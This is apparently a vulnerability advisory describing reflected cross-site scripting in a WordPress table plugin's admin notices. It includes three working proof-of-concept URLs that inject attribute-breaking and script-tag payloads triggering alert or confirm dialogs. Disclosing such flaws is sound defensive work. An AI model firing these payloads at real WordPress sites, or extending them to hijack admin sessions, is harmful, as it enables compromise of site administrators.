The plugin does not escape various generated URLs, before outputting them in attributes when some notices are displayed, leading to Reflected Cross-Site Scripting
Make a logged in admin open one of the URL below when the feature/tracking notice has not been dismissed yet
https://example.com/wp-admin/edit.php?post_type=tablesome_cpt&a%22%3E%27%3E%3Cdetails%2Fopen%2Fontoggle%3Dconfirm%28%27XSS%27%29%3E
https://example.com/wp-admin/edit.php?post_type=tablesome_cpt&tablesome_feature_notice_dismissed=1&</script><script>alert(/XSS/)</script>
https://example.com/wp-admin/edit.php?post_type=tablesome_cpt&can_track_tablesome_events=1&</script><script>alert(/XSS/)</script>